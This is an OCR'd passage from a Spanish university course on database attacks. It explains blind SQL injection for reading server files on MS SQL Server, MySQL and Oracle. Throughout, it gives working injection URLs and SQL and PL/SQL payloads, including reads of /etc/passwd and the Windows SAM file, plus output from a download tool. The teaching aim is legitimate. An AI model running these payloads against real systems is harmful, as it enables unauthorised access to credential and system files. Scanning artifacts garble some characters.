la configuracion de seguridad en el motor de base de datos no es la adecuada.

4.3. Metodologia de trabajo

Una vez que se han descrito los conceptos fundamentales para la extraccion
de datos mediante la técnica de booleanizacién, es posible proponer una me-
todologia para la evaluacion de la vulnerabilidad de una aplicacién frente ata-
ques de Blind SQL Injection para la extraccion de ficheros. La secuencia de
pasos deberia ser la siguiente:

e Comprobar que la aplicacién es vulnerable a ataques de SQL injection.
Para ello es preciso verificar que es posible realizar una inyeccién que no
altere los resultados que devuelve la aplicaciéon en su forma normal de

trabajo, pero que demuestren la ejecuciéon de los comandos. Un ejemplo

TRUE

TRUE

FALSE

FALSE

FALSE

TRUE

TRUE

FALSE

TRUE
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seria sustituir un valor numérico por la llamada a la funcién ABS (). Si
obtenemos el mismo resultado significa que se esta ejecutando la funcién
ABS, es decir, se puede inyectar cédigo SQL.

e Verificar si es posible realizar inyecciones que alteren el comportamiento
durante la respuesta del sistema mediante inyecciones siempre verdaderas
e inyecciones siempre falsas, como se ha visto en las imagenes 1 a 3. Si es
asi entonces se concluye que la aplicacion es vulnerable a ataques Blind
SQL Injection.

e Determinar una funcién error que permita distinguir cudndo una inyec-
cién provoca una respuesta denominada verdadera y cudndo provoca una
respuesta falsa. En este punto las posibilidades dependen del tratamien-
to de errores que se haya realizado en la aplicacion, siendo siempre posi-
ble reducir la formulacion de la funcién error a una alternativa basada en
tiempos de respuesta. Este paso determina coémo se van a reconocer las
respuestas verdaderas o falsas. Puede hacerse por una cadena que aparez-
ca en la respuesta positiva que no aparezca en las respuestas negativas, o
viceversa, o mirando el tiempo respuesta, o la estructura HTML o el hash
de la pagina, etc. Es decir, reconocer las caracteristicas de las paginas obte-
nidas en respuestas positivas y las caracteristicas de las paginas obtenidas

en respuestas negativas.

e Seleccionar la estrategia a seguir para extraer ficheros del servidor. Existen
dos posibilidades respecto a las fuentes de datos a utilizar: utilizar fuen-
tes de datos externas, es decir, invocar directamente el fichero desde cada
consulta o hacer uso de las opciones de carga masiva, es decir, volcar el fi-
chero a una tabla y descargarlo de la tabla. En ambos casos se establece una
fuerte dependencia con el motor de la base de datos que se esté utilizando
que hacen necesaria la determinacion de las funciones especificas a usar.

e Evaluar las limitaciones y entornos de permisos requeridos en cada caso.
Sera necesario determinar qué privilegios son necesarios para poder utilizar

en cada caso la fuente de datos seleccionada.

e Implementar el sistema de extraccion del fichero mediante un proceso de
booleanizacién de datos.

Para el resto del apartado, vamos a suponer que se ha comprobado que la web
es vulnerable y sabemos reconocer la respuesta positiva o true de la respuesta
negativa o false. Vamos a analizar, por tanto, cOmo se realizaria la descarga

remota de ficheros en los distintos motores de bases de datos.
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4.4. Microsoft SQL Server 2000 y 2005 mediante fuentes de datos
infrecuentes

Microsoft SQL Server permite utilizar fuentes de datos externas, o lo que es lo
mismo, origenes de informacién fuera del motor Microsoft SQL Server a los
que se pueda acceder mediante cualquier OLE DB Data Provider. Un OLE DB
Data Provider es un manejador de una fuente de informacién que oferta una
interfaz de acceso comun OLE DB a cualquier aplicacién que lo utilice. Estas
fuentes externas pueden ser servidores de bases de datos remotos del mismo o
de distintos fabricantes, o repositorios de informacién que van desde ficheros
Microsoft Excel, bases de datos Access, DBase, ficheros XML hasta ficheros de
texto plano “txt” o separados por comas “csv”. De hecho, una fuente de datos
externa podra ser cualquier fuente de informacién accesible por un OLE DB
Data Provider que el servidor tenga cargada y se convertird en un OLE DB Data
Source, es decir, en una fuente de datos externa accesible mediante un OLE
DB Data Provider.

El proceso de agregar fuentes de datos externas es una tarea de administraciéon
que se ejecuta mediante el enlazado de estos origenes. Este proceso se puede
realizar utilizando la herramienta de administracién o bien con el uso del pro-
cedimiento almacenado sp_addlinkedserver, sin embargo, Microsoft SQL
Server permite realizar conexiones ad hoc a fuentes de datos externas infre-
cuentes, es decir, a aquellos origenes de datos a los que se accede en contadas
ocasiones. Para ello el lenguaje Transact-SQL de Microsoft SQL Server cuen-
ta con dos comandos distintos. La funcién OpenRowSet, que va a permitir
acceder a cualquier fuente externa que devuelva un conjunto de registros y la
funciéon OpenDataSource, que permite lanzar una consulta sobre una fuente
de datos externa enlazada ad hoc.

En un entorno vulnerable a SQL Injection se permitiria acceder a ficheros del
servidor que pudieran ser accesibles por un OLE DB Data Provider, y extraerlo
mediante una técnica de booleanizacién. Por ejemplo, para extraer los datos
de un fichero “ c:\dir\target.txt” en el servidor de bases de datos donde
se ejecuta el motor Microsoft SQL Server utilizado por una aplicacion web vul-
nerable y explotable por Blind SQL Injection podriamos utilizar el un proceso

de booleanizacién sobre la siguiente inyeccion:

http://server/app.cod?param=1 and 256 > (ASCII (Substr (select * from OpenRowset ('MSDASQL',

'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\External;', 'select top 1

* from c:\dir\target.txt'),1,1))

En este ejemplo la inyeccion carga la primera fila del fichero target. txt, se
queda con el valor ASCII de la primera letra y lo compara con el valor 256.
Obviamente, es una comparaciéon que siempre dard true, pero ilustra como se
debe realizar el proceso de booleanizacién. Una vez descubierto el valor de la

primera letra, el proceso se repetiria para las siguientes letras de la primera fila
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del fichero hasta que se llegue al final de la linea, donde se deberia repetir el
mismo proceso para las siguientes lineas del fichero hasta obtenerse el fichero
completo.

En este caso, el driver Microsoft Text solo permite acceder a ficheros con ex-
tensiones “ txt”, “ csv” 0 “ tab” por lo que nunca se podria acceder con
OpenRowSet u OpenDataSource a ficheros 1og, bak, 014, o cualquier exten-
sién distinta. Sin embargo, si que es posible acceder a datos almacenados en
ficheros Microsoft Office “ mdb”, “ x1s”, o cualquier otro formato para el que
el servidor tenga cargado un OLE DB Data Provider. Por ejemplo, para acceder
a los datos de un fichero Microsoft Excel a en un fichero Access almacenado

en el servidor, se podrian realizar consultas como las siguientes:

SELECT * FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0', 'Excel 8.0; DATABASE=c:\Excel.xls',

'Select * from [Librol$]"')

SELECT * FROM OPENDATASOURCE ('Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\Excel.xls";

User ID=Admin; Password=;Extended properties=Excel 8.0')...Librol

SELECT * FROM OPENDATASOURCE ('Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\ACCESS.mdb";

User ID=Admin; Password=')...Tablal

SELECT * FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0', 'c:\Access.mdb';'admin';'', Tablal)

En todos estos casos, como se puede apreciar en las consultas, no es un acceso
directo al fichero sino a los datos almacenados en €l y por tanto, es necesario
conocer informacioén de la estructura de los datos. En los ejemplos se mues-
tran datos de usuarios y contrasefias, pero estos no serian necesarios si, como
sucede en la gran mayoria de las ocasiones, los ficheros de Microsoft Access
y Microsoft Excel no tienen habilitados explicitamente un usuario y una con-
trasefia.

4.4.1. Restricciones y permisos para uso de fuentes de datos

infrecuentes
En los ejemplos de la seccién anterior, para poder trabajar con OPENDA-
TASOURCE y OPENROWSET es necesario que la clave de registro DisallowAd-
hocAccess del proveedor que se va a utilizar esté fijado a cero.
Las claves de registro donde se configuran los proveedores, entre ellos el pro-
veedor Microsoft.Jet. OLEDB.4.0 visto en los ejemplos, se encuentran en la ra-
ma de registro si se trata de una instancia sin nombre:

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers

O en caso de que se trate de instancias con nombre, en:
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HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\\Providers

Si la clave de registro no existe, el comportamiento varia segtin los privilegios
del usuario que se conecta a la base de datos, ya que si el usuario posee el
rol “server administrators” tendrd permitido el acceso, mientras que si por el
contrario el usuario no posee este rol tendra denegado el acceso.

Por defecto, el proveedor Microsoft.Jet. OLEDB.4.0 no establece la clave de re-
gistro DisallowAdhocAccess y por lo tanto, impedira el acceso a fuentes de datos
externas salvo que el usuario posea el rol “server administrators”.

Estas son las tnicas restricciones a la hora de utilizar OPENDATASOURCE y
OPENROWSET, los permisos de acceso sobre los ficheros Microsoft Excel o Ac-
cess vendran determinados por los permisos del usuario que se le pase al pro-
veedor OLE DB.

En Microsoft SQL Server 2005 ademas, el acceso a fuentes de datos externos
esta desactivado por defecto como parte de la configuraciéon de seguridad. Para
modificar esta configuraciéon un administrador puede utilizar el procedimien-
to almacenado sp configure o la herramienta de administracién Surface

Area Configuration for Features y habilitar las consultas ad hoc.

Figura 30. Activacién de fuentes de datos infrecuentes en Microsoft SQL
Server 2005
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4.4.2. Extraccion de ficheros

Si se cumplen todos los requisitos necesarios del entorno, bastaria aplicar un
proceso de booleanizacién como el descrito en el apartado “Blind SQL Injec-
tion basandose en tiempos”, mediante la inyecciéon de una llamada al fichero
que se quiere acceder como si fuera una fuente de datos infrecuentes. Asi, la
inyeccion SQL quedaria de la siguiente forma:

http://server/app.cod?param=1 and 256 > (ASCII (Substr(select * from OpenRowset ('MSDASQL',

'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;', 'select top 1 * from

c:\dir\target.txt),1,1))

Como se puede ver se esta accediendo al fichero “c:\dir\target.txt”. Este sera
cargado entero como una Unica cadena alfanumeérica que va a ser recorrida
durante el proceso de booleanizacién con la funcién substring. Cada caracter
va a ser convertido a su valor ASCII y comparado con un indice para averiguar
el valor correcto. Una vez llegado al final del substring se habra terminado de
acceder al fichero completo.

4.5. Microsoft SQL Server 2000 mediante opciones de carga

masiva

En Microsoft SQL Server 2000 se permite la carga de ficheros registros de una
o varias tablas mediante las operaciones de carga masiva. Existen tres formas
distintas para realizar la carga masiva de datos desde ficheros:

e Laprimera opcion es utilizar el comando bep a nivel del sistema operativo.

e La segunda opcién consiste en realizar un Insert desde una fuente de
datos cargada con OpenRowSet como se ha visto en el apartado anterior.

e Latercera mediante el uso del comando Bulk Insert. Esta Gltima opcién
es la que un atacante puede utilizar para acceder a ficheros a los que no
puede acceder mediante el uso de fuentes de datos externas infrecuentes
por no existir un OLE DB Data Provider para ellos.

4.5.1. Restricciones y permisos

Para la creacién de tablas es necesario tener como rol en la base de datos

db_owner o0 db_ddladmin, es decir, ser el propietario de la misma o tener

permisos de administracion.
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Es cierto que es posible crear tablas temporales, visibles solo durante la sesion
en curso (#TablaTemporal) o tablas temporales globales, visibles desde todas
las sesiones (##TablaTemporal), y que para la creacion de estas tablas no es
necesario poseer los roles de bases de datos dbo_owner y db_ddladmin.

Sin embargo, a la hora de realizar “bulk insert” es necesario que el usuario
que ejecuta dicha sentencia, ademas de poseer el rol de servidor bulkadmin,
posea el rol a nivel de base de datos db_owner o db_ddladmin para poder insertar
sobre la tabla, y por lo tanto el uso de tablas temporales no tiene sentido.

En cuanto a la consideracion de a qué archivos se tiene acceso y a cuales no,
esto depende del perfil de seguridad del proceso SQL Server. Dado que el usua-
rio es miembro de la funcion fija de servidor bulkadmin, el usuario tiene ac-
ceso de lectura a todos aquellos archivos a los que el SQL Server puede acceder
aunque €l no tuviese concedidos esos permisos.

4.5.2. Proceso de la extraccion del fichero

Son necesarias cinco fases para la extraccion del fichero del sistema operativo:

e La primera fase consistird en la creacién de una tabla temporal para alma-

cenar los datos del fichero.

¢ Una segunda fase en la que el fichero se carga dentro de la tabla temporal.

e La tercera implica la creacién de una columna IDENTITY.

e Una cuarta fase de extracciéon mediante la booleanizacién de los datos al-
macenados en esa tabla.

e Una tltima fase para eliminar la tabla temporal creada dentro de la base
de datos.

1) Fase 1: Creacion de una tabla temporal. En esta fase se utiliza el parametro
inyectable para lanzar una consulta de creacién de la tabla temporal como
sigue:

http://server/app.cod?param=1; Create Table TablaTemporal as (fila varchar (8000))--

2) Fase 2: Carga del fichero dentro de una tabla temporal. Se debe poder eje-
cutar dentro del servidor un comando Bulk Insert. Lainyeccion en un ser-

vidor vulnerable seria como sigue:

http://server/app.cod?param=1; Bulk Insert TablaTemporal From 'c:\fichero.ext' With

(FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n')--



CC-BY-NC-ND ¢ PID_00191663 49 Ataques a BB. DD., SQL Injection

Como se puede apreciar en el ejemplo anterior, el comando Bulk insert
tiene una serie de pardmetros para indicar cudles son los caracteres separadores
de campos y de fila. En este caso se ha utilizado el retorno de carro como
caracter delimitador de campo y de fila.

3) Fase 3: Creacion de una columna IDENTITY. Una vez cargado el contenido
del fichero sobre la tabla, se tiene una tabla con una sola columna y tantas
filas como lineas tuviese el fichero, para poder leer correctamente esta tabla
en un proceso de booleanizacién seria necesario contar con un identificador

Unico para cada registro de la tabla.

Para crear los identificadores tnicos lo que se hace es afiadir una columna de
tipo IDENTITY, configurada con valor de inicio 1 e incrementos unitarios, de
modo que SQL Server 2000 se encarga de asignarle el valor numérico corres-

pondiente a cada registro. La inyeccién en un servidor vulnerable seria:

http://server/app.cod?param=1; alter table TablaTemporal add num int IDENTITY (1,1) NOT NULL--

Es muy importante destacar que este paso es necesario hacerlo aqui, si se es-
pecifica esta columna durante la creacion de la tabla en la fase 1, la carga del
fichero sobre la misma no se realiza de forma correcta, por eso es necesario

afiadir la columna una vez cargada la tabla con la informacién del fichero

4) Fase 4: Proceso de Booleanizaciéon. Como resultado de los pasos anteriores
se tiene una tabla con dos columnas, cuyos registros se corresponden con las
lineas del fichero que se ha leido. Para poder descargar el fichero es necesario
determinar cudntas filas tiene la tabla. Para determinar el ntiimero de registros
se utiliza Blind SQL Injection con un proceso de busqueda binaria, la sentencia
tipo a inyectar en un servidor vulnerable seria:

http://server/app.cod?param =1 and (select COUNT (fila) from TablaTemporal) > 255 --—

Una vez fijado el namero de registros que tiene la tabla, por cada uno de estos
se calcularia el namero de caracteres de la columna fila, que serian los que
habria que leer mediante un proceso de booleanizacion. Siguiendo el ejemplo
visto, la sentencia a inyectar en un servidor vulnerable para determinar el nu-

mero de caracteres de la primera linea del fichero seria:

http://server/app.cod?param=1 and (select top 1 len(fila) from TablaTemporal

where num = 1) > 255 --

De nuevo es necesario establecer un sistema de bisqueda binaria, para inferir
la longitud del campo fila del registro, obsérvese que en esta sentencia se hace
uso de la columna IDENTITY creada anteriormente, y que sirve para identificar

cada uno de los registros de la tabla y por tanto, cada una de las filas del fichero.
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Una vez determinados el ntimero de filas y el nimero de caracteres, el siguiente
paso es inferir los caracteres de la fila. Siguiendo los ejemplos anteriores la
cadena a inyectar seria:

http://server/app.cod?param=1 and (select top 1 ASCII (SUBSTRING(fila,1,1))

where num = 1) > 255 --

En esta cadena se esta infiriendo el primer caracter de la primera fila de la
tabla, como se ha averiguado el nimero de filas y para cada fila se averigua
el nimero de caracteres, es posible fijar los valores a utilizar para descargar el
contenido completo del fichero.

5) Fase 5: Eliminacion de la tabla temporal. Por Gltimo, se procedera a eliminar
la tabla temporal creada en la base de datos como sigue:

http://server/app.cod?param=1; Drop Table TablaTemporal--

4.6. Microsoft SQL Server 2005 y 2008 mediante opciones de

carga masiva

Una de las mejoras de transact-sql introducidas en Microsoft SQL Server 2005
es la posibilidad de realizar importaciones masivas llamando a OPENROWSET
y especificando la opciéon BULK. De este modo se puede conseguir lo mismo
que se obtiene al utilizar bulk insert (también disponible en SQL Server
2005 y 2008 de forma habitual), pero sin necesidad de utilizar tablas tempo-
rales donde almacenar el contenido de los ficheros. La sintaxis bésica de la

instruccion seria la siguiente:

INSERT ... SELECT * FROM OPENROWSET (BULK...)

Asi, si se quiere leer el contenido de un fichero se utilizaria una sentencia
transact-sql como la siguiente:

SELECT * FROM OPENROWSET (BULK 'c:\file.txt', SINGLE CLOB) As Datos
Al utilizar la opcién bulk se especifica el fichero a leer y opcionalmente se
especifica el tipo de columna donde se va a colocar el dato leido, los posibles

valores son:

e SINGLE BLOB: Especifica que los datos se van a almacenar en una columna

varbinary (max)

e SINGLE CLOB: Para especificar que los datos ASCII se almacenan en una

columna varchar (max)

from TablaTemporal
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® SINGLE NCLOB: Para datos UNICODE que serdn importados a una colum-

na nvarchar (max)

La definicién de tipos varbinay (max), varchar (max) y nvarchar (max)
es una novedad de Microsoft SQL Server 2005, y se utiliza para permitir el
almacenamiento de grandes cantidades de datos, la longitud de estos tipos de
datos van desde 1 byte hasta los 2 GB.

En SQL Server 2005 es posible descargar tanto ficheros de texto como ficheros
binarios. Para cargar ficheros binarios se utilizara la opcién bulk con el valor

SINGLE BLOBY para ficheros de texto se puede utilizar el valor SINGLE CLOB.

4.6.1. Restricciones y permisos

Al igual que sucede en Microsoft SQL Server 2000, para poder realizar impor-
taciones masivas es necesario tener el rol de servidor bulkadmin, como no
es necesario crear tablas en la base de datos no es necesario tener ningtn rol

especial a nivel de base de datos.

En cuanto a los ficheros a los cuales se puede tener acceso, Microsoft SQL Ser-
ver 2005 soluciona los problemas que presentaba Microsoft SQL Server 2000
y versiones anteriores. En esta version el acceso depende de como se haya ini-

ciado la sesion en el Servidor Microsoft SQL Server.

Si se ha utilizado un inicio de sesién SQL Server, se utilizara el perfil de segu-
ridad de la cuenta de proceso de SQL Server, y por lo tanto, se tendra acceso
a los ficheros que esta cuenta pueda leer.

Si se ha utilizado un inicio de sesién mediante la autenticacién de Windows,
el usuario solo tiene acceso para aquellos archivos para los que la cuenta del
usuario tiene permiso, independientemente de los permisos que tenga la cuen-
ta de proceso SQL Server. Para ello se utilizan las credenciales del usuario, a
esto se le denomina suplantacién o delegacion.

4.6.2. Proceso de la extraccion del fichero

El primer paso l6gico a seguir es calcular el tamafio en bytes del fiche-
ro, para calcularlo es necesario cargar el contenido del fichero usando
OPENROWSET (BULK ...) y utilizar la funcién DATALENGTH, para inferir me-
diante basqueda binaria el tamafio del mismo. Una posible sentencia a inyec-

tar en un servidor vulnerable para calcular el tamafio seria:

http://server/app.cor?param=1 and DATALENGTH ( (SELECT * FROM OPENROWSET (BULK 'c:\Helloworld.exe',

SINGLE BLOB) As Datos)) > 255 --
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Una vez determinado el tamafio del fichero, el proceso de booleanizacion que-
da reducido a consultas que recuperan los diferentes bytes e infieren su valor.
Una posible sentencia a utilizar seria:

http://server/app.cod?param=1 AND 256 > ASCII (SUBSTRING ((SELECT * FROM

OPENROWSET (BULK 'c:\Helloworld.exe', SINGLE_BLOB) As Datos), 1, 1))--
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5. Ficheros remotos en SQL Inyection

5.1. Remote File Downloading en MySQL

En las versiones de MySQL tenemos, al igual que en los motores de bases de
datos de Microsoft SQL Server, las dos opciones, es decir, acceder directamente
al fichero en cada consulta o volcar el fichero en un tabla temporal.

5.1.1. Load File: Acceso directo a fichero como cadena de bytes

La funcién Load File permite acceder, en una consulta, directamente a un
fichero en el sistema de archivos y devuelve una cadena de bytes con el con-
tenido del fichero. Bastaria con lanzar un comando de la forma:

Select Load_file('etc/passwd‘)

Con este comando se podria leer el fichero /etc/passwd, que seria devuelto
como una cadena de caracteres. Para evitar el problema de las aplicaciones
web con filtrado de comillas se puede escribir el nombre del fichero en hexa-

decimal.

El limite de descarga del fichero estd marcado por el valor de la constante
max_allowed packet en el motor de la base de datos y puede ser utilizada
desde versiones 3.23 en adelante.

Este método estd implementado en las SQLbfTools, en el comando mysqgl-
get. Como se puede ver en la imagen, basta con configurar la URL vulnerable,
el fichero que se desea descargar y la keyword que aparece en las paginas true
de las inyecciones a ciegas.
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Figura 31. Descargando un /etc/passwd a través de Internet con mysqlget

C:\sglbftools\mysgql_hftools\win32>mysgqlget “htty
£ " Ysetc/passuwd’ “Carlos"

http-sgql blind downloader $Revision: 1.35 $
ilo@reversing.org http://uwu.reversing.oryg
THIS PROGRAM DELIBERATELY CONTAINS SEUERAL
BUFFER OUERFLOUWS, SO USING AGAINST A ROGUE
SERVER MAY GIVUE MORE PROBLEMS THAN RESULTS

cross—post: www.hacktimes.com www.unsec.net

host
port

uri :

80

args .

file: /etc/passwd

mat.: Carlos

[+] dicctionary lenght: 425
[+] dict loaded 3808 hytes
resolving

file is 55 hytes long

——BOF——
root:x:0:B:ro00t:/root:/hin/bash
daemon:x:1:1:daemon:/us
——EOF——

total hits: 2314

5.1.2. Carga de fichero en tabla temporal

La otra opcion, es decir, cargar el fichero en una tabla y leerlo desde alli, puede

ser realizada de dos formas:

1) La primera opcion seria utilizar la misma funcién Load File para cargar

el fichero en una columna de una tabla de la siguiente forma:
UPDATE tabla SET columna=LOAD FILE ('/tmp/file') WHERE id=1;

Esta opcién no parece afiadir una mejora sustancial respecto al método an-
terior y mas cuando adn es necesario un mayor ntumero de privilegios en la
creacion de una tabla con dos columnas, la insercién de una fila con valor
null para el campo Blob y la actualizacién de la misma con el fichero.

2) La otra alternativa serfa utilizar la funcién Load data infile en las ver-
siones de MySQL 5. Esta funcién es la utilizada por la utilidad mysglimport
para volcar ficheros de texto dentro de tablas de la base datos. A diferencia
de de Load File no vale nada mds que para ficheros de texto, pero no esta
limitada a max_allowed packed por fichero sino por linea. Es decir, un fi-
chero muy grande de texto podra ser cargado con facilidad dentro de la base
de datos. Los pasos serian:

a) Crear una tabla temporal con una columna para las lineas del archivo de
texto:

; Create table temporal (datos varchar (max allowed packed))
b) Cargar el fichero de texto en ella:

; Load data infile 'c:\\boot.ini' into table temporal
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¢) Poner una columna tnica para descargar el fichero comodamente:

; alter table temporal add column num integer auto increment unique key

d) Calcular el namero de filas con booleanizacién y Blind SQL Injection:

and contador>(select count (num) from temporal)

e) Calcular la longitud de cada fila con booleanizacién y Blind SQL Injection:

and contador>(select length(datos) from temporal where num = numerodefila)

f) Boleanizar cada uno de los valores de cada fila:

and contador>(select ASCII (substring(datos,posicion,l)) from temporal where num

g) Borrar tabla temporal:

; Drop table temporal

5.2. Remote File Downloading en Oracle Database

En los motores Oracle también es posible interactuar, como no, con los fiche-
ros del sistema operativo. Oracle ofrece un driver para exportacion y carga ma-
siva de datos, conocido como Oracle Loader y dispone paquetes de gestion de
ficheros en el sistema operativo, como UTL_FILE o DBMS_LOB, con funciones
y procedimientos para leer los datos del fichero y mucho mas.

5.2.1. Los objetos directorio

Oracle es un motor multiplataforma que lo mismo funciona en sistemas UNIX
que Microsoft, por lo que la interaccion con el sistema de ficheros sera depen-
diente de la arquitectura del sistema sobre el que corra. Para evitar que los c6-
digos creados en PL/SQL se vean especialmente afectados por una migraciéon
de una aplicacion de una arquitectura a otra, en Oracle se utilizan objetos di-
rectory.

Estos objetos son una representacion virtual de una ruta fisica dentro del sis-
tema operativo. Poder trabajar con estos objetos abstrae al resto de los codigos
PL/SQL de las caracteristicas propias de las arquitecturas UNIX o Microsoft. En
caso de una migracioén de un sistema a otro, bastaria con recrear las rutas en

los objetos directorio.

CREATE DIRECTORY home AS 'c:\users\chema\privado';

CREATE DIRECTORY home AS '/home/chema/privado’';

= numerofila)



CC-BY-NC-ND ¢ PID_00191663 56

Ataques a BB. DD., SQL Injection

De esta manera, independientemente del sistema operativo, todas las rutas
que se refieran al sistema de ficheros se haran sobre el objeto home.

Los objetos directory estan creados dentro de la base de datos y, como todos,
tienen su lista de permisos que pueden ser configurados para el resto de usua-

rios.
GRANT READ, WRITE ON DIRECTORY home TO amigos;

Estos objetos seran utilizados en las subsiguientes opciones de acceso a fiche-

ros.

5.2.2. Volcado de fichero a tabla con paquete UTL_FILE

El paquete UTL_FILE es una utileria basica en Oracle que fue incluida a partir
de las versiones 7.3.4. A lo largo de las versiones las funcionalidades se han
ido mejorando hasta convertirse en un gestor de ficheros completo.

No es una opcién desdefiable, por supuesto, pero necesita de la configuracién
de una variable de inicio que no suele estar configurada. Por defecto, este pa-
quete solo puede acceder al sistema de ficheros marcado por la variable de
arranque UTL FILE DIR. Si esta variable no tiene ningin valor asociado en
las variables de arranque que se configuran en el archivo de inicio, entonces
no podra utilizarse la libreria UTL_FILE. Si, por el contrario, tiene el valor “*”,
entonces se podra acceder a todos los ficheros del sistema operativo mediante
una inyeccién en un procedimiento PL/SQL. Sin embargo, entre la no confi-
guracion de la variable o que se permita el acceso a todos los ficheros con el
caracter asterisco, se encuentra la posibilidad de acceder a algunas rutas del
sistema de ficheros que estén en la variable UTL. FILE DIR.

La inyeccion tiene que realizarse dentro de un bloque PL/SQL, es decir, que
la consulta inyectable esté entre BEGIN y END para poder realizar la insercién
multilinea, y ahi haremos uso de SQL Dindmico para construir consultas DDL
que nos permitan crear los objetos de tipo tabla, directorio y la invocacién de

procedimientos.

BEGIN consulta inyectable END;
La consulta inyectable bien podria estar en un procedimiento llamado desde la
aplicacion web, es decir, puede que la aplicacion web llame al procedimiento

listado con la siguiente consulta:

BEGIN listado (param) END;
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El paquete UTL_FILE tiene un tipo de datos llamado File Type para la ges-
tién de ficheros y funciones de apertura, cierre de ficheros, lectura, escritura,
borrado de ficheros, copia y renombrado de ficheros. Las principales funcio-

nes son:

e utl file.file type: Variable de tipo fichero

e utl file.fclose(fichero): Cierra un fichero

e utl file.fclose all: Cierra todos los ficheros abiertos.

e utl file.fopen('home', 'fichero.txt', 'R'): Abrir fichero en
modo Ro W.

e utl file.is open (fichero): True si esta abierto.

e utl file.fcopy('home', 'pl.txt', 'home2',K 'p2.txt'):copia
un fichero.

e utl file.fflush(fichero): Fuerza escritura del buffer

e utl file.fgetattr('home', 'pl.txt', ex, flen, bsize): Ob-
tener atributos.

e utl file.get line(fichero, v_linea):Leeuna lineay la almacena
env_linea.

e utl file.fremove('home', 'pl.txt'):Borra el fichero.

e utl file.frename('home', 'pl.txt', 'home', 'p2.txt"', TRUE):
Renombrar fichero.

e utl file.fseek(): Acceso directo o indexado.

e utl file.getline(): Lee una linea en bytes.

e utl file.getline nchar ():Lee una linea en formato nchar.

e utl file.get raw():Lectura en raw.

e utl file.new line():Introduce una o varias lineas vacias.

e utl file.put (fichero,var): Introduce la variable en el fichero.

e utl file.putf ():Introduce con formato dentro del fichero.

e utl file.put line():Introduce linea con retorno de carro.

e utl file.put nchar ():Introduce un nchar.

e utl file.put line nchar (): Introduce un nchar con retorno de ca-
ITO.

e utl file.putf nchar ():Introduce nchar con format.

Como se puede ver, la miriada de funciones disponibles si la variable
UTL_FILE DIR permite acceder al sistema de ficheros es tal, que se podria ac-
ceder a casi cualquier fichero inyectando un bloque PL/SQL. Algo asi como el
siguiente ejemplo:

; execute immediate 'Create Directory discoC As ''c:\'' '; end; --

; execute inmediate 'Create table bootini (contador numeric, linea varchar2(4000))'; end; --
; execute immediate 'DECLARE fichero utl file.file type;v linea varchar2(4000); v_counter
numeric default O;

BEGIN

fichero:=utl file.fopen('discoC', 'boot.ini'");

IF utl file.is open(fichero) THEN

LOOP
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BEGIN utl file.get line(fichero, v_linea); IF linea IS NULL THEN EXIT; END IF;

INSERT INTO bootini (contador,linea) VALUES (v_contador, v_linea); V_counter:=v_counter+l;

EXCEPTION WHEN NO_DATA FOUND THEN EXIT;END;
END LOOP; COMMIT; END IF;

Utl file.fclose(fichero); End;''; end;--

Y una vez que esta cargado el fichero en la tabla se procederia a extraerlo con
un proceso de booleanizacién de la tabla, calculando primero el nimero de
filas, que sera el namero mayor de counter. Después habra que calcular la
longitud de cada fila y para cada posicion de la fila, su valor ASCII. Al terminar
se debe borrar la tabla y el directorio.

5.2.3. Enlazado de fichero mediante External Tables y
Oracle_loader

Una caracteristica de las tltimas versiones de Oracle Database han sido las
external tables. Este tipo especial de tablas permite que se cree una tabla pero
que los datos de la misma no se encuentren en ningin tablespace sino en un
fichero del sistema de archivos. De esta manera se podria enlazar cualquier
fichero con una tabla, y consultar el fichero seria lo mismo que consultar la

tabla con un select. El proceso seria:

; execute immediate 'Create Directory discoC As '"'c:\'' '; end; --

; execute immediate 'Create table bootini (datos varchar2(4000) ) organization external (TYPE

ORACLE LOADER default directory discoC access parameters ( records delimited by newline )

location (''boot.ini''))'; end;-—-

En este caso solo se puede acceder a ficheros de tipo texto ya que se hace a
través del driver Oracle loader, pero, a diferencia de UTL FILE, esta fun-
cién no esta sujeta a la variable UTL, FILE DIR con lo que a priori no hay
ninguna restricciéon afiadida por variables de inicio. Si bien son necesarios los
privilegios de creacién de objetos y la cuenta de servicio con la que correo el
servicio de la base de datos y Oracle tiene que tener acceso a nivel de ficheros
al archivo.

El proceso para terminar de traer el fichero seria similar al caso anterior. Boo-
leanizar para averiguar el tamafio de las filas, el valor de los caracteres y al final
borrar tabla y directorio temporal.

5.2.4. Acceso a ficheros binarios mediante el paquete DBMS_LOB
Para cuando se necesite acceder a ficheros binarios del sistema, como por ejem-

plo el fichero sam de un sistema Microsoft Windows, podremos hacer uso de

la biblioteca para Large Objects. En este caso, de forma similar a UTL_FILE, se
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crea un directorio y la tabla con una variable del tamafio del buffer de lectura.
Después, haciendo uso de las funciones de lectura del fichero cargaremos la

tabla.
; execute immediate 'Create Directory RutaSAM As ''c:\windows\repair'' '; end; --
; execute immediate 'Create table sam (datos BLOB )'; end; --

; execute immediate 'DECLARE 1 bfile BFILE; 1 blob BLOB;

BEGIN
INSERT INTO sam (datos) VALUES (EMPTY BLOB()) RETURN datos INTO 1 blob;
1 bfile := BFILENAME (''RutaSAM', ''sam'');

DBMS LOB.fileopen(l bfile, Dbms Lob.File Readonly);
DBMS_LOB.loadfromfile(l_blob,1 bfile,DBMS LOB.getlength(l bfile)); DBMS LOB.fileclose(l_bfile);

COMMIT; EXCEPTION WHEN OTHERS THEN ROLLBACK; END;'; end; --

Con este procedimiento se podria cargar cualquier fichero de cualquier tipo
siempre que no superara el tamafio maximo del tipo Blob, por lo que es una
opcion mas recomendable que utilizar UTL_FILE. Ademas, no tenemos la res-

triccion de las variables de inicio.

Una vez cargado el fichero en la tabla, se podra acceder a los datos mediante

las funciones del paquete dbms_1lob:

- Numero de bytes: (select DBMS LOB.getlength (datos) from sam) > valor prueba

-Para cada byte: (select to number (DBMS LOB.substr (datos,1,1), 'XX') from sam) >valor prueba
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6. Consejos en SQL Injection

6.1. Identificacion mediante funciones

Las siguientes tablas muestran algunas distinciones que sirven para determinar

el tipo de base de datos objetivo:

MS SQL MysSQL Access Oracle PL/SQL DB2 Postgres PL/pgSQL
T-SQL
